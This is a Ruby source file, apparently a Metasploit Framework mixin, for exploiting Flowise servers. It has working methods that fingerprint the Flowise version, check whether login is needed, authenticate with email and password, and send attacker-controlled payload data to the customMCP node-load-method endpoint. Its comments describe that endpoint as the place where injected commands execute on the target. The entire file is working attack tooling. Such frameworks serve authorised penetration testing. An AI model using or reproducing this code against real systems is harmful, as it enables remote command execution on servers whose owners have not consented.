# -*- coding: binary -*-

module Msf
  class Exploit
    class Remote
      module HTTP
        # This module provides a way of interacting with Flowise installations.
        # It includes methods for version detection, authentication, and sending requests to the customMCP endpoint.
        #
        # @example
        #   include Msf::Exploit::Remote::HTTP::Flowise
        #
        #   def exploit
        #     version = flowise_get_version
        #     if flowise_requires_auth?(version)
        #       flowise_login('admin@example.com', 'password')
        #     end
        #     flowise_send_custommcp_request(payload_data)
        #   end
        module Flowise
          include Msf::Exploit::Remote::HttpClient

          # Retrieves the Flowise version from the target
          #
          # @return [Rex::Version, nil] The Flowise version, or nil if the version cannot be retrieved
          #
          # @example
          #   version = flowise_get_version
          #   # => #<Rex::Version:0x00007f8b1c0a0b00 @version="2.2.7-patch.1">
          def flowise_get_version
            version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version')
            res = send_request_cgi({
              'uri' => version_url,
              'method' => 'GET',
              'headers' => { 'Accept' => 'application/json' }
            })

            return nil unless res&.code == 200

            version_str = res.get_json_document['version']
            return nil if version_str.blank?

            Rex::Version.new(version_str)
          end

          # Checks if the Flowise version requires authentication
          #
          # @param version [Rex::Version, nil] The Flowise version to check. If nil, retrieves it automatically
          # @return [Boolean] true if authentication is required (version >= 3.0.1), false otherwise
          #
          # @example
          #   if flowise_requires_auth?
          #     flowise_login('admin@example.com', 'password')
          #   end
          def flowise_requires_auth?(version = nil)
            version ||= flowise_get_version
            return false unless version

            version >= Rex::Version.new('3.0.1')
          end

          # Authenticates with Flowise using JWT (email/password)
          #
          # @param email [String] The email address for authentication
          # @param password [String] The password for authentication
          # @return [Boolean] true if authentication succeeds
          # @raise [Msf::Exploit::Failed] if authentication fails or credentials are invalid
          #
          # @example
          #   flowise_login('admin@example.com', 'password')
          def flowise_login(email, password)
            if email.blank? || password.blank?
              fail_with(Msf::Exploit::Failure::BadConfig, 'Email and password are required for authentication')
            end

            login_url = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login')
            res = send_request_cgi({
              'uri' => login_url,
              'method' => 'POST',
              'ctype' => 'application/json',
              'headers' => {
                'x-request-from' => 'internal',
                'Accept' => 'application/json, text/plain, */*'
              },
              'keep_cookies' => true,
              'data' => {
                'email' => email,
                'password' => password
              }.to_json
            })

            unless res
              fail_with(Msf::Exploit::Failure::TimeoutExpired, 'No response from server during login attempt')
            end

            case res.code
            when 200, 201
              print_good('Authentication successful')
              return true
            when 401
              fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials')
            when 404
              # Flowise returns 404 with "User Not Found" when the user doesn't exist
              fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - user not found')
            else
              fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
            end
          end

          # Sends a request to the customMCP endpoint
          #
          # @param payload_data [Hash] The payload data to send (must include 'loadMethod' and 'inputs')
          # @param opts [Hash] Optional parameters
          # @option opts [String] :username Username for Basic Auth (if required)
          # @option opts [String] :password Password for Basic Auth (if required)
          # @return [Boolean] true if the request was sent successfully (HTTP 200 or no response for background payloads), false otherwise
          #
          # @example
          #   payload_data = {
          #     'loadMethod' => 'listActions',
          #     'inputs' => { 'mcpServerConfig' => '{...}' }
          #   }
          #   flowise_send_custommcp_request(payload_data, username: 'admin', password: 'password')
          def flowise_send_custommcp_request(payload_data, opts = {})
            exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP')

            headers = {
              'x-request-from' => 'internal',
              'Accept' => 'application/json, text/plain, */*'
            }

            if opts[:username] && opts[:password]
              headers['Authorization'] = basic_auth(opts[:username], opts[:password])
            end

            request_opts = {
              'uri' => exploit_url,
              'method' => 'POST',
              'ctype' => 'application/json',
              'headers' => headers,
              'keep_cookies' => true,
              'data' => payload_data.to_json
            }

            res = send_request_cgi(request_opts)

            unless res
              vprint_warning('No response from server (command may still execute in background)')
              return true
            end

            case res.code
            when 200
              vprint_status('Command sent successfully (HTTP 200)')
              return true
            when 401
              vprint_error('Authentication required - check credentials')
              return false
            when 404
              vprint_error('Endpoint not found - target may not be vulnerable')
              return false
            when 500
              vprint_error('Server error - command may have failed to execute')
              return true
            else
              vprint_warning("Unexpected HTTP response code: #{res.code}")
              return true
            end
          end
        end
      end
    end
  end
end
